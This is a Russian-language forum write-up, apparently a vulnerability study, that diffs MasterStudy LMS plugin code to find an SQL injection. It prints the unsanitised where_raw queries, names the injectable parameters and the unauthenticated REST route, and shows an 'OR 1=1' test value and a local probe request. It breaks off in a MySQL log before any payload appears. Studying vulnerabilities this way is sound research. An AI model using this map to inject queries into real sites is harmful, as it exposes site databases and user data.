371             * @param $date_end
372             * @param $user_id
373             * @param null $course_id
374             *
375             * @return array
376             */
377            public static function get_course_statisticas( $date_start, $date_end, $user_id, $course_id = null ) {
378                    global $wpdb;
379
380                    $data    = array();
381                    $courses = StmLmsCourse::query()
382                            ->select( ' course.ID, course.`post_title`, _order.`post_date` as date, SUM(order_items.`price` * order_items.`quantity`) as amount' )
383                            ->asTable( 'course' )
384                            ->join( ' left join `' . $wpdb->prefix . 'stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ' )
385                            ->join( ' left join `' . $wpdb->prefix . 'posts` _order on _order.ID = order_items.`order_id` ' )
386                            ->join( ' left join ' . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') " )
387                            ->where( 'course.post_author', $user_id )
388                            ->where_raw( " ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) " )
389                            ->where_raw( " (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) " )
390                            ->where_raw( " (DATE(_order.`post_date`) BETWEEN '" . $date_start . "' AND '" . $date_end . "') " )
391                            ->group_by( " course.ID, DATE_FORMAT(_order.post_date, '%m-%Y') " );
392
393                    if ( null !== $course_id ) {
394                            $courses->where( 'course.ID', $course_id )->findOne();
395                    }
396
397                    foreach ( $courses->find() as $course ) {
398                            $data[] = array(
399                                    'id'              => $course->ID,
400                                    'title'           => $course->post_title,
401                                    'amount'          => $course->amount,
402                                    'date'            => $course->date,
403                                    'backgroundColor' => rand_color( 0.50 ),
404                            );
405                    }
406
407                    return $data;
408            }
409
410            /**
411             * @param $user_id
412             * @param null $course_id
413             */
414            public static function get_course_sales_statisticas( $user_id, $course_id = null ) {
415                    global $wpdb;
416
417                    $data    = array();
418                    $courses = StmLmsCourse::query()
419                            ->select( ' course.ID, course.`post_title`, SUM(order_items.`quantity`) as order_item_count ' )
420                            ->asTable( 'course' )
421                            ->join( ' left join `' . $wpdb->prefix . 'stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ' )
422                            ->join( ' left join `' . $wpdb->prefix . 'posts` _order on _order.ID = order_items.`order_id` ' )
423                            ->join( ' left join ' . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') " )
424                            ->where( 'course.post_author', $user_id )
425                            ->where_raw( " ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) " )
426                            ->where_raw( " (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) " )
427                            ->group_by( ' course.ID ' );
428
429                    if ( null !== $course_id ) {
430                            $courses->where( 'course.ID', $course_id )->findOne();
431                    }
432
433                    foreach ( $courses->find() as $course ) {
434                            $data[] = array(
435                                    'id'               => $course->ID,
436                                    'title'            => $course->post_title,
437                                    'backgroundColor'  => rand_color( 0.50 ),
438                                    'order_item_count' => $course->order_item_count,
439                            );
440                    }
441
442                    return $data;
443            }
444
445    }
Между двумя версиями существует множество различий, но наш фокус направлен исключительно на уязвимость SQL-инъекции. С моих первых дней изучения CVE, связанных с SQL-инъекциями, повторяющейся темой была "прямая передача ввода" / "directly passing input", что подразумевает отсутствие санитизации. Хотя я не программист и не обладаю формальным образованием в области языков программирования, вот что я вижу, когда смотрю на этот код:
Код: Скопировать в буфер обмена
Код:
function set_order_items_total_price
function woocommerce_order_items
...

Я хочу проверить только функции, содержащие SQL-запросы. Я мог бы сразу перейти к функциям, принимающим пользовательский ввод, но было бы лучше понять, что делает каждая функция.

set_order_items_total_price
Код: Скопировать в буфер обмена
Код:
77        public static function set_order_items_total_price()
78        {
79            $is_run = get_option("stm_lms_set_order_total_price");
80            if (!$is_run) {
81                global $wpdb;
82                $prefix = $wpdb->prefix;
83                $orders = StmOrder::query()
84                    ->select(" _order.*, mete.`meta_value` as items ")
85                    ->asTable("_order")
86                    ->join(" left join " . $prefix . "postmeta as mete on (mete.post_id = _order.ID)  ")
87                    ->where_in("_order.post_type", ["stm-orders"])
88                    ->where("mete.`meta_key`", "items")
89                    ->group_by("_order.ID")
90                    ->find();
91                foreach ($orders as $order) {
92                    $total_price = 0;
93                    foreach ($order->items as $item) {
94                        $total_price += $item['price'];
95
96                        // update or create order items
97                        if (!($order_items = StmOrderItems::query()->where("order_id", $order->ID)->where("object_id", $item['item_id'])->findOne()))
98                            $order_items = new StmOrderItems();
99                        $order_items->order_id = $order->ID;
100                        $order_items->object_id = $item['item_id'];
101                        $order_items->price = $item['price'];
102                        $order_items->quantity = 1;
103                        $order_items->transaction = 0;
104                        $order_items->save();
105                    }
106                    update_post_meta($order->ID, "_order_total", $total_price);
107                }
108                add_option("stm_lms_set_order_total_price", "1");
109            }
110        }
Эта функция извлекает заказы и связанные с ними элементы из базы данных, рассчитывает общую цену каждого заказа, суммируя цены отдельных элементов, и обновляет элементы заказа в базе данных. После обработки всех элементов в заказе она обновляет общую цену заказа в базе данных WordPress.

woocommerce_order_items
Код: Скопировать в буфер обмена
Код:
112        public static function woocommerce_order_items()
113        {
114            $is_run = get_option("stm_lms_set_woocommerce_order_items");
115            if (!$is_run) {
116                global $wpdb;
117                $prefix = $wpdb->prefix;
118                $orders = StmOrder::query()
119                    ->select(" _order.*, meta.meta_value as items")
120                    ->asTable("_order")
121                    ->join(" left join " . $prefix . "postmeta as meta on ( meta.`post_id` = _order.ID AND meta.`meta_key` = 'stm_lms_courses') ")
122                    ->where("_order.`post_type`", "shop_order")
123                    ->find();
124                foreach ($orders as $order) {
125                    if (isset($order->items)) {
126                        foreach ($order->items as $item) {
127                            $price = get_post_meta($item['item_id'], "_price");
128
129                            // update or create order items
130                            if (!($order_items = StmOrderItems::query()->where("order_id", $order->ID)->where("object_id", $item['item_id'])->findOne()))
131                                $order_items = new StmOrderItems();
132                            $order_items->order_id = $order->ID;
133                            $order_items->object_id = $item['item_id'];
134                            $order_items->price = (isset($price[0])) ? $price[0] : 0;
135                            $order_items->quantity = $item['quantity'];
136                            $order_items->transaction = 0;
137                            $order_items->save();
138                        }
139                    }
140                }
141                add_option("stm_lms_set_woocommerce_order_items", "1");
142            }
143        }
Эта функция извлекает заказы и связанные с ними элементы из базы данных. Для каждого заказа она перебирает элементы, извлекает цену каждого элемента из его метаданных и обновляет элементы заказа в базе данных.

create_table_order_items
Код: Скопировать в буфер обмена
Код:
145        public static function create_table_order_items()
146        {
147            global $wpdb;
148            require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
149            $charset_collate = $wpdb->get_charset_collate();
150            $table_name = $wpdb->prefix . 'stm_lms_order_items';
151            $sql = "CREATE TABLE {$table_name} (
152                                    id bigint(20) NOT NULL AUTO_INCREMENT,
153                                    order_id bigint(20) unsigned NOT NULL,
154                                    object_id bigint(20) unsigned NOT NULL,
155                                    payout_id bigint(20) unsigned,
156                                    quantity int(11) NOT NULL,
157                                    price float(24,2),
158                                    `transaction` varchar(100),
159                                    PRIMARY KEY  (id),
160                                    KEY `{$table_name}_order_id_index` (`order_id`),
161                                    KEY `{$table_name}_object_id_index` (`object_id`),
162                                    KEY `{$table_name}_payout_id_index` (`payout_id`)
163                                    ) {$charset_collate};";
164            maybe_create_table($table_name, $sql);
165        }
Как следует из названия, эта функция создает таблицу stm_lms_order_items, выполняя SQL-запрос, показанный в коде. Она завершается использованием метода maybe_create_table (https://developer.wordpress.org/reference/functions/maybe_create_table/).

get_user_orders
Код: Скопировать в буфер обмена
Код:
194        public static function get_user_orders($offset, $limit, $params = [])
195        {
196            global $wpdb;
197            $prefix = $wpdb->prefix;
198            $user_orders = [
199                "items" => [],
200                "total" => 0,
201            ];
202            $query = StmOrder::query()
203                ->select(" _order.*, meta.* ")
204                ->asTable("_order")
205                ->join(" left join `" . $prefix . "stm_lms_order_items` as lms_order_items on ( lms_order_items.`order_id` = _order.ID )
206                                                       left join `" . $prefix . "posts` as course on  (course.ID = lms_order_items.`object_id`) ")
207                ->where_in("_order.post_type", ["stm-orders", "shop_order"]);
208
209            if (isset($params['id']) AND !empty($params['id'])) {
210                $query->where('_order.ID', $params['id']);
211            }
212
213            if (isset($params['created_date_from']) AND !empty(trim($params['created_date_from'])) AND isset($params['created_date_to']) AND !empty(trim($params['created_date_to']))) {
214                $query->where_raw('
215                            DATE(_order.post_date) >= "' . date("Y-m-d", strtotime($params['created_date_from'])) . '" AND
216                            DATE(_order.post_date) <= "' . date("Y-m-d", strtotime($params['created_date_to'])) . '"
217                    ');
218            }
219
220            if (isset($params['total_price']) AND !empty($params['total_price'])) {
221                $query->where_raw(' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ');
222            }
223
224            if (isset($params['status']) AND !empty($params['status'])) {
225                $query->where_raw('
226                                    (
227                                            ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
228                                            ( _order.post_status = "' . $params['status'] . '" )
229                                    )
230                            ');
231            }
232
233            if (isset($params['user']) AND !empty($params['user'])) {
234                $ids = [$params['user']];
235                if (!empty($ids)) {
236                    $query->where_raw('
237                                    (
238                                            (meta.meta_key = "user_id" AND meta.meta_value in (' . implode(",", $ids) . ')) OR
239                                            (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode(",", $ids) . '))
240                                    )
241                            ');
242                }
243            }
244
245            if (isset($params['post_author']) AND !empty($params['post_author'])) {
246                $query->where("course.`post_author`", (int)$params['post_author']);
247            }
248
249            if (!empty($params['orderby'])) {
250                $query->sort_by(esc_sql($params['orderby']))
251                    ->order(!empty($params['order']) ? ' ' . esc_sql($params['order']) : ' ASC');
252            } else {
253                $query->sort_by("ID")->order(" DESC ");
254            }
255
256            $query_total = clone $query;
257
258            $user_orders['total'] = $query_total->select(" COUNT(DISTINCT _order.ID) as count ")->findOne()->count;
259            $query->join(" left join " . $prefix . "postmeta as meta on (meta.post_id = _order.ID)")
260                ->group_by("_order.ID")
261                ->limit($limit)
262                ->offset($offset);
263
264            $user_orders['items'] = $query->find();
265
266            return $user_orders;
267        }
Эта функция принимает параметры, такие как $offset, $limit и $params. Из других частей кода мы узнаем, что $offset и $limit предопределены:
Код: Скопировать в буфер обмена
Код:
367            $offset = 0;
368            $limit = 10;

Что такое смещение и лимит?
Смещение
: количество строк, которые следует пропустить перед началом возврата строк в наборе результатов.
Лимит: максимальное количество строк для возврата в наборе результатов, ограничивающее запрос определенным количеством строк.

Пример в MySQL:

1708690238314.png


Изображение [3]


1708690248049.png


Изображение [4]​
Теперь, что насчет "$params"?
Массив - это базовая структура данных в программировании, которая хранит коллекцию элементов.
Код: Скопировать в буфер обмена
Код:
$dvij = array("Красивый", "с", "бородой");

echo $dvij[0]; // Результат "Красивый"
echo $dvij[2]; // Результат "бородой"
В нашем контексте массив $params позволяет настраивать запрос, включая различные критерии фильтрации, такие как id, created_date_from, created_date_to, total_price, status, user, post_author, orderby и order. Например, если мы хотим получить заказы пользователя для определенного идентификатора пользователя, мы установим параметр 'user' в массиве $params на нужный идентификатор пользователя. Параметры облегчают адаптацию запроса к конкретным потребностям.

Параметры, которые кажутся уязвимыми, включают id, total_price, status и user. Параметры $params['created_date_from'] и $params['created_date_to'] фильтруют заказы по диапазону дат создания, используя функции strtotime() и gmdate() для безопасного преобразования дат. Параметр orderby, хотя и не контролируется пользователем, санитизируется с использованием функции esc_sql(). Параметр post_author очищается с помощью (int). Например:
Код: Скопировать в буфер обмена
Код:
<?php

$params = array('post_author' => '105 OR 1=1');

echo "Chistka author: ",(int)$params['post_author'];
?>
// Результат: Chistka author: 105

get_user_order_items
Код: Скопировать в буфер обмена
Код:
276        public static function get_user_order_items($offset, $limit, $params = [])
277        {
278            global $wpdb;
279            $prefix = $wpdb->prefix;
280            $user_orders = [
281                "items" => [],
282                "total" => 0,
283                "total_price" => 0,
284            ];
285            $query = StmOrderItems::query()
286                ->select(" lms_order_items.*, course.post_title as name, _order.`post_date` as date_created ")
287                ->asTable("lms_order_items")
288                ->join(" left join `" . $prefix . "posts` as _order on ( lms_order_items.`order_id` = _order.ID )
289                                                       left join `" . $prefix . "posts` as course on  (course.ID = lms_order_items.`object_id`) ")
290                ->where_in("_order.post_type", ["stm-orders", "shop_order"]);
291
292            if (isset($params['id']) AND !empty($params['id'])) {
293                $query->where('_order.ID', $params['id']);
294            }
295
296            if (isset($params['date_from']) AND !empty(trim($params['date_from'])) AND isset($params['date_to']) AND !empty(trim($params['date_to']))) {
297                $query->where_raw('
298                            DATE(_order.post_date) >= "' . date("Y-m-d", strtotime($params['date_from'])) . '" AND
299                            DATE(_order.post_date) <= "' . date("Y-m-d", strtotime($params['date_to'])) . '"
300                    ');
301            }
302
303            if (isset($params['total_price']) AND !empty($params['total_price'])) {
304                $query->where_raw(' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ');
305            }
306
307            if (isset($params['status']) AND !empty($params['status'])) {
308                $query->where_raw('
309                                    (
310                                            ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
311                                            ( _order.post_status = "' . $params['status'] . '" )
312                                    )
313                            ');
314            }
315
316            if (isset($params['user']) AND !empty($params['user'])) {
317                $ids = [$params['user']];
318                if (!empty($ids)) {
319                    $query->where_raw('
320                                    (
321                                            (meta.meta_key = "user_id" AND meta.meta_value in (' . implode(",", $ids) . ')) OR
322                                            (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode(",", $ids) . '))
323                                    )
324                            ');
325                }
326            }
327
328            if (isset($params['course_id']) AND !empty($params['course_id'])) {
329                $query->where("course.ID", $params['course_id']);
330            }
331
332            if (isset($params['author_id']) AND !empty($params['author_id']) AND $params['author_id'] != 0) {
333                $query->where("course.`post_author`", (int)$params['author_id']);
334            }
335
336            if (isset($params['completed']) AND !empty($params['completed'])) {
337                $query->join(" left join " . $prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
338                    ->join(" left join " . $prefix . "posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed') ")
339                    ->where_raw(" (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )  ");
340            }
341
342            if (!empty($params['orderby'])) {
343                $query->sort_by(esc_sql($params['orderby']))
344                    ->order(!empty($params['order']) ? ' ' . esc_sql($params['order']) : ' ASC');
345            } else {
346                $query->sort_by("ID")->order(" DESC ");
347            }
348
349            $query_total = clone $query;
350            $user_orders['total'] = $query_total->select(" COUNT(DISTINCT lms_order_items.id) as count ")->findOne()->count;
351
352            $query_total_price = clone $query;
353            $query_total_price->select(" SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price ");
354            $total_price = $query_total_price->findOne()->total_price;
355            $user_orders['total_price'] = ($total_price) ? $total_price : 0;
356            $query->join(" left join " . $prefix . "postmeta as meta on (meta.post_id = _order.ID)")
357                ->group_by("lms_order_items.id")
358                ->limit($limit)
359                ->offset($offset);
360
361            $user_orders['items'] = $query->find();
362            return $user_orders;
363        }
Эта функция принимает те же параметры, что и предыдущая. Параметры, которые кажутся уязвимыми: id, total_price, status, user, и course_id. Параметр author_id очищается с помощью (int).

get_course_statisticas
Код: Скопировать в буфер обмена
Код:
392        public static function get_course_statisticas($date_start, $date_end, $user_id, $course_id = null)
393        {
394            global $wpdb;
395            $data = [];
396            $courses = StmLmsCourse::query()
397                ->select(" course.ID, course.`post_title`, _order.`post_date` as date, SUM(order_items.`price` * order_items.`quantity`) as amount")
398                ->asTable("course")
399                ->join(" left join `" . $wpdb->prefix . "stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ")
400                ->join(" left join `" . $wpdb->prefix . "posts` _order on _order.ID = order_items.`order_id` ")
401                ->join(" left join " . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
402                ->where("course.post_author", $user_id)
403                ->where_raw(" ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) ")
404                ->where_raw(" (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) ")
405                ->where_raw(" (DATE(_order.`post_date`) BETWEEN '" . $date_start . "' AND '" . $date_end . "') ")
406                ->group_by(" course.ID, DATE_FORMAT(_order.post_date, '%m-%Y') ");
407
408            if ($course_id != null)
409                $courses->where("course.ID", $course_id)->findOne();
410
411            foreach ($courses->find() as $course) {
412                $data[] = [
413                    "id" => $course->ID,
414                    "title" => $course->post_title,
415                    "amount" => $course->amount,
416                    "date" => $course->date,
417                    "backgroundColor" => rand_color(0.50)
418                ];
419            }
420            return $data;
421        }
Эта функция принимает параметры, такие как $date_start, $date_end, $user_id и $course_id, для извлечения данных, связанных с курсом, путем объединения нескольких таблиц и применения условий. Я не вижу никакой санитизации. Думаю, что эта функция доступна только для пользователей PRO. Хотя маловероятно, что уязвимость находится здесь, это стоит учитывать.

get_course_sales_statisticas
Код: Скопировать в буфер обмена
Код:
427        public static function get_course_sales_statisticas($user_id, $course_id = null)
428        {
429            global $wpdb;
430            $data = [];
431            $courses = StmLmsCourse::query()
432                ->select(" course.ID, course.`post_title`, SUM(order_items.`quantity`) as order_item_count ")
433                ->asTable("course")
434                ->join(" left join `" . $wpdb->prefix . "stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ")
435                ->join(" left join `" . $wpdb->prefix . "posts` _order on _order.ID = order_items.`order_id` ")
436                ->join(" left join " . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
437                ->where("course.post_author", $user_id)
438                ->where_raw(" ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) ")
439                ->where_raw(" (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) ")
440                ->group_by(" course.ID ");
441
442            if ($course_id != null)
443                $courses->where("course.ID", $course_id)->findOne();
444
445
446
447
448            foreach ($courses->find() as $course) {
449                $data[] = [
450                    "id" => $course->ID,
451                    "title" => $course->post_title,
452                    "backgroundColor" => rand_color(0.50),
453                    "order_item_count" => $course->order_item_count
454                ];
455            }
456
457            return $data;
458        }
Аналогично предыдущей функции, она принимает параметры $user_id и $course_id. Ситуация остается неизменной.

Теперь давайте составим диаграмму с функциями и возможно уязвимыми параметрами:
ФункцияУязвимый параметр
get_user_ordersid, total_price, status, user
get_user_order_itemsid, total_price, status, user, course_id
get_course_statisticasНе вижу инпутов с пользовательской части, но санитизации тоже нет.
get_course_sales_statisticsНе вижу инпутов с пользовательской части, но санитизации тоже нет.

REST в WordPress​

REST означает Representational State Transfer, это стандартная веб-архитектура, которая использует HTTP-запросы для общения между клиентами и серверами. WordPress REST API позволяет разработчикам программно получать доступ к данным сайта WordPress, управлять ими и взаимодействовать с ними. Это включает в себя записи, страницы, медиа и многое другое, используя объекты JSON, что упрощает интеграцию с другими приложениями и сервисами.

Конечные точки (endpoint) REST в WordPress - это специфические URL, которые REST API предоставляет для взаимодействия с различными типами контента WordPress. Каждая конечная точка соответствует определенному типу ресурса, такому как записи, страницы, пользователи или пользовательские типы контента, и определяет методы (GET, POST, PUT, DELETE), которые можно использовать для взаимодействия с этим ресурсом. Конечные точки REST API можно найти, обратившись к корню API, который обычно находится по пути /wp-json/. Оттуда API предоставляет самодокументируемое руководство по доступным конечным точкам и их использованию.

Вопросы, которые я задавал себе на этом этапе, были следующие:
Как найти rest route?
Какие аргументы мне нужно использовать после того, как я rest route?

Чтобы найти остальные роуты, я решил открыть - http://localhost/index.php/wp-json. Для этого плагина насчитывается не менее 50 роутов, что довольно много. Я решил проверить тот, который имеет название функции get_user_order_items, это /lms/stm-lms/order/items. Странно, но я не вижу никаких аргументов, хотя сама функция их имеет. Угадывание в данном случае не является опцией, потому что я провожу анализ белого ящика.
Другой способ, помимо проверки директории wp-json, - это поиск PHP-файлов с функцией "register_rest_route". register_rest_route() - это функция в WordPress, используемая для создания пользовательских конечных точек REST API.
Код: Скопировать в буфер обмена
grep -rnw /var/www/html/wp-content/plugins/masterstudy-lms-learning-management-system -e "^.register_rest_route" --color
1708699484033.png


Изображение [5]​
Я открыл /var/www/html/wp-content/plugins/masterstudy-lms-learning-management-system/_core/lms/route.php
Код: Скопировать в буфер обмена
Код:
<?php
/**
 * STM LMS Order Statistics
 */
add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms/order/items',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'GET',
                'callback'            => function () {
                    return \stmLms\Classes\Models\StmStatistics::get_user_orders_api();
                },
            )
        );
    }
);

add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-user/search',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'GET',
                'callback'            => function () {
                    // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                    if ( isset( $_GET['search'] ) ) {
                        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                        return \stmLms\Classes\Models\StmUser::search( $_GET['search'] );
                    }

                    return array();
                },
            )
        );
    }
);


add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-user/course-list',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'GET',
                'callback'            => function () {
                    // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                    if ( isset( $_GET['author_id'] ) ) {
                        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
                        $user        = new \stmLms\Classes\Models\StmUser( $_GET['author_id'] );
                        $course_list = array();
                        $courses     = $user->get_courses();
                        foreach ( $courses as $course ) {
                            $course_list[] = array(
                                'id'    => $course->ID,
                                'title' => $course->post_title,
                            );
                        }

                        return $course_list;
                    }

                    return array();
                },
            )
        );
    }
);

/**
 * stm lms payout
 */
add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-pauout/settings',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'POST',
                'callback'            => function () {
                    return \stmLms\Classes\Models\StmLmsPayout::settings_payment_method();
                },
            )
        );
    }
);

add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-pauout/payment/set_default',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'POST',
                'callback'            => function () {
                    return \stmLms\Classes\Models\StmLmsPayout::payment_set_default();
                },
            )
        );
    }
);

add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-pauout/pay-now',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'GET',
                'callback'            => function () {
                    return \stmLms\Classes\Models\StmLmsPayout::pay_now();
                },
            )
        );
    }
);

add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-pauout/pay-now/(?P<id>\d+)',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'GET',
                'callback'            => function ( $request ) {
                    return \stmLms\Classes\Models\StmLmsPayout::pay_now_by_payout_id( intval( $request->get_param( 'id' ) ) );
                },
            )
        );
    }
);

add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-pauout/payed/(?P<id>\d+)',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'GET',
                'callback'            => function ( $request ) {
                    return \stmLms\Classes\Models\StmLmsPayout::payed( intval( $request->get_param( 'id' ) ) );

                },
            )
        );
    }
);

add_action(
    'rest_api_init',
    function () {
        register_rest_route(
            'lms',
            '/stm-lms-payout/paypal-email',
            array(
                'permission_callback' => '__return_true',
                'methods'             => 'POST',
                'callback'            => function () {
                    return \stmLms\Classes\Models\StmUser::save_paypal_email();
                },
            )
        );
    }
);
В файле много функций, мне нужно проверить только функции, которые находятся в файле StmStatistics.php, потому что изменения были сделаны только в этом файле.
1708699650360.png


Изображение [6]​
Ни одна из перечисленных мной функций на самом деле не находится в rest маршруте. Но есть функция get_user_orders_api, которая находится в StmStatistics.php.
Код: Скопировать в буфер обмена
Код:
365        public static function get_user_orders_api()
366        {
367            $offset = 0;
368            $limit = 10;
369
370            if (isset($_GET['offset']) AND !empty($_GET['offset']))
371                $offset = intval($_GET['offset']);
372
373            if (isset($_GET['limit']) AND !empty($_GET['limit']))
374                $limit = intval($_GET['limit']);
375
376            $params = $_GET;
377
378            $params['completed'] = true;
379
380            if ($params['author_id'])
381                return self::get_user_order_items($offset, $limit, $params);
382        }

Так где же ты?​

Функция get_user_orders_api использует функцию get_user_order_items, которая принимает $params, которые могут быть введены пользователем. Чтобы мы могли использовать функцию get_user_order_items, мы должны использовать параметр author_id. Но, как мы знаем, параметр author_id сам очищен с использованием int. Так что уязвимость, вероятно, кроется в параметрах id, total_price, status, user или course_id.

То, что мы знаем на данный момент, это то, что наш rest маршрут - /lms/stm-lms/order/items, и теперь мы знаем доступные параметры. Таким образом, полный URL будет http://localhost/?rest_route=/lms/stm-lms/order/items. Прежде чем продолжить, я включу логирование базы данных. Чтобы это сделать:
Код: Скопировать в буфер обмена
Код:
sudo nano /etc/mysql/my.cnf
touch /var/log/mysql/mysql.log
chown mysql:mysql /var/log/mysql/mysql.log
# Добавьте эту строку
[mysqld]
general_log_file = /var/log/mysql/mysql.log
general_log = 1
#Перезагрузите mysql
service mysql restart
Теперь мы можем проверить запросы, сделанные к базе данных.
Код: Скопировать в буфер обмена
sudo tail -f /var/log/mysql/mysql.log
Я знаю, что мне нужно использовать author_id, чтобы функция get_user_order_items была использована, которая имеет другие параметры, такие как user. Я решил отправить запрос со всеми параметрами http://localhost/?rest_route=/lms/stm-lms/order/items&author_id=111&id=222&total_price=333&status=444&user=555&course_id=666
Лог MySQL:
Код: Скопировать в буфер обмена
Код:
96 Connect  wordpress_user@localhost on  using Socket
                    96 Query    SET NAMES utf8mb4
                    96 Query    SET NAMES 'utf8mb4' COLLATE 'utf8mb4_unicode_520_ci'
                    96 Query    SELECT @@SESSION.sql_mode
                    96 Query    SET SESSION sql_mode='ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION'
                    96 Init DB  wordpress_db
                    96 Query    SELECT option_name, option_value FROM wp_options WHERE autoload = 'yes'
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = 'stm_lms_addons' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = 'WPLANG' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = 'stm_lms_paypal_settings' LIMIT 1
                    96 Query    SELECT * FROM wp_users WHERE user_login = 'admin' LIMIT 1
                    96 Query    SELECT user_id, meta_key, meta_value FROM wp_usermeta WHERE user_id IN (1) ORDER BY umeta_id ASC
                    96 Query    SELECT * FROM wp_posts WHERE ID = 7 LIMIT 1
                    96 Query    SELECT  t.term_id
                        FROM wp_terms AS t  INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id
                        WHERE tt.taxonomy IN ('wp_theme') AND t.name IN ('twentytwentyfour')

                        LIMIT 1
                    96 Query    SELECT   wp_posts.*
                        FROM wp_posts
                        WHERE 1=1  AND (
  0 = 1
) AND wp_posts.post_type = 'wp_template_part' AND ((wp_posts.post_status = 'publish'))
                        GROUP BY wp_posts.ID
                        ORDER BY wp_posts.post_date DESC
                    96 Query    SELECT   wp_posts.*
                        FROM wp_posts
                        WHERE 1=1  AND wp_posts.post_type = 'page' AND ((wp_posts.post_status = 'publish'))

                        ORDER BY wp_posts.post_date DESC
                    96 Query    SELECT post_id, meta_key, meta_value FROM wp_postmeta WHERE post_id IN (6,7,8,9,2) ORDER BY meta_id ASC
                    96 Query    SELECT   wp_posts.ID
                                        FROM wp_posts  INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id )
                                        WHERE 1=1  AND (
  ( wp_postmeta.meta_key = 'elementor_courses_page' AND wp_postmeta.meta_value = 'yes' )
) AND wp_posts.post_type = 'page' AND ((wp_posts.post_status = 'publish'))
                                        GROUP BY wp_posts.ID
                                        ORDER BY wp_posts.post_title ASC
                                        LIMIT 0, 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_timeout_stm_lms_chat_1_chat' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_stm_lms_chat_1_chat' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = 'theme_switched' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_timeout_stm_lms_routes_pages_transient' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_stm_lms_routes_pages_transient' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_timeout_stm_lms_routes_pages_config_transient' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_stm_lms_routes_pages_config_transient' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_timeout_stm_lms_routes_pages_routes_transient' LIMIT 1
                    96 Query    SELECT option_value FROM wp_options WHERE option_name = '_transient_stm_lms_routes_pages_routes_transient' LIMIT 1
                    96 Query    SELECT  COUNT(DISTINCT lms_order_items.id) as count  FROM `wp_stm_lms_order_items`
  as lms_order_items
   left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID )
